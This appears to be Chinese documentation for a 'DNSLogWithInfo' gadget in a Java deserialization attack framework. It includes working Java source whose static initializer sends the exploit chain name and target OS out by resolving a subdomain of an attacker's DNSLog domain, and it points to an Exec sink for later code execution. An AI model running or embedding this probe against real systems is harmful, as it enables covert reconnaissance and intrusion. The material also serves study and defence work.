Skip to content

Latest commit

 

History

History
72 lines (63 loc) · 4.67 KB

File metadata and controls

72 lines (63 loc) · 4.67 KB

发起DNSLog请求2(DNSLogWithInfo)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:Ar3h
  • 依赖:无(仅需目标 JVM 与 DNS 解析)

作用

DNSLog 基础上增强:生成的字节码在类加载时对 <链信息>.<os>.<dnslog> 发起 DNS 解析,把当前利用链名目标操作系统编码进子域名一并回显。相比纯 HTTP 的 DNSLogAndHttp,它只用 DNS 通道,适配未开放 HTTP 出网但能 DNS 出网的环境。

链接标签

  • 入口 tags
    • Bytecode —— 声明产出原始字节码 byte[],可被 nextTags=Bytecode 的加载器 BytecodeConvert 承接。
    • END —— 链终止标签,本 gadget 是最内层 sink。
  • 衔接 nextTags:空 —— 自身即字节码源头。
  • excludes:无。

源码剖析

gadget 本体:拼接链信息子域名,回填模板两个静态字段。

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(DNSLogWithInfoBytecode.class);
    List<String> gadgetNameList = this.getGadgetNames();
    gadgetNameList.remove(BytecodeConvert.class.getSimpleName());  // 剔除转换器名(非利用语义)
    if (gadgetNameList.size() > 1) {
        gadgetNameList.remove(gadgetNameList.size() - 1);          // 去掉最后一个(本 sink 自身)
    }
    String payloadName = ... payload.getClass().getSimpleName();   // Payload alias 或简单类名
    String subString = payloadName + "." + String.join(".", gadgetNameList);
    if (subString.endsWith(".")) subString = subString.substring(0, subString.length()-1);
    javassistHelper.modifyStringField("dnslog", this.dnslog);
    javassistHelper.modifyStringField("subString", subString);
    return javassistHelper.getBytecode();
}

相比 DNSLogAndHttpgetObject,这里额外 gadgetNameList.remove(BytecodeConvert.class.getSimpleName())——因为链里通常含 BytecodeConvert 这个纯加工节点,把它从回显里剔掉,让子域名只反映真正的利用语义。getGadgetNames() 与同族一致:取每个 gadget 的 alias/简单类名,replace("_","-")replaceAll("[^-a-zA-Z0-9]", "") 清洗成合法 DNS 标签。

真正探测的模板类 DNSLogWithInfoBytecode(静态块触发):

public class DNSLogWithInfoBytecode {
    public static String dnslog;
    public static String subString;
    public DNSLogWithInfoBytecode() {
        String osName = System.getProperty("os.name").toLowerCase();
        String os = osName.contains("win") ? "windows"
                  : (osName.contains("mac") ? "macos"
                  : ((osName.contains("nix")||osName.contains("nux")||osName.contains("aix")) ? "unix" : "unknown"));
        String host = subString + "." + os + "." + dnslog;        // 链名.系统.dnslog
        try { InetAddress.getByName(host); }                      // 仅 DNS 解析
        catch (UnknownHostException e) { }
    }
    static { new DNSLogWithInfoBytecode(); }
}

触发链条与 DNSLog 相同(<clinit> → 构造器 → InetAddress.getByName),但查询的主机名带上了 subString(利用链)与 os(操作系统)。攻击者在 DNSLog 后台看到形如 deser.fastjson.templatesimpl.windows.x.dnslog.cn 的解析,一眼即知:命中的 Payload/链、目标系统、且字节码已成功执行——纯 DNS 即可完成信息回显,无需 HTTP 出网。

参数(@Param)

字段 名称 说明 默认 可选值
dnslog DNSLog地址 接收解析的域名,如 x.dnslog.cn;响应示例 deser.fastjson.templatesimpl.windows.x.dnslog.cn 任意可控域名

适用版本与原理要点

  • description:与 DNSLog1 的区别是包含当前利用链信息与目标系统信息,会自动在 DNS 头部额外追加子域名。
  • 只走 DNS 通道,比 DNSLogAndHttp 更隐蔽、适配面更广(无需 HTTP 出网),但回传信息量少于 HTTP 版(不含环境变量/调用栈全文)。
  • 跨 JDK 通用,无第三方依赖。

所属预设链

  • DNSLog探测链[BytecodeConvert, DNSLogWithInfo],见 chains.json id=24)——本 gadget 作为最内层探测 sink,由 BytecodeConvert 包进 TemplatesImpl 加载执行。

关联

  • 上游加载器(承接 Bytecode):BytecodeConvertTemplatesImpl
  • 同族探测 sink:DNSLog(仅裸 DNS,无信息)、DNSLogAndHttp(DNS + HTTP,回传环境变量/调用栈)。
  • 功能对位的 RCE sink:Exec(确认通道后替换)。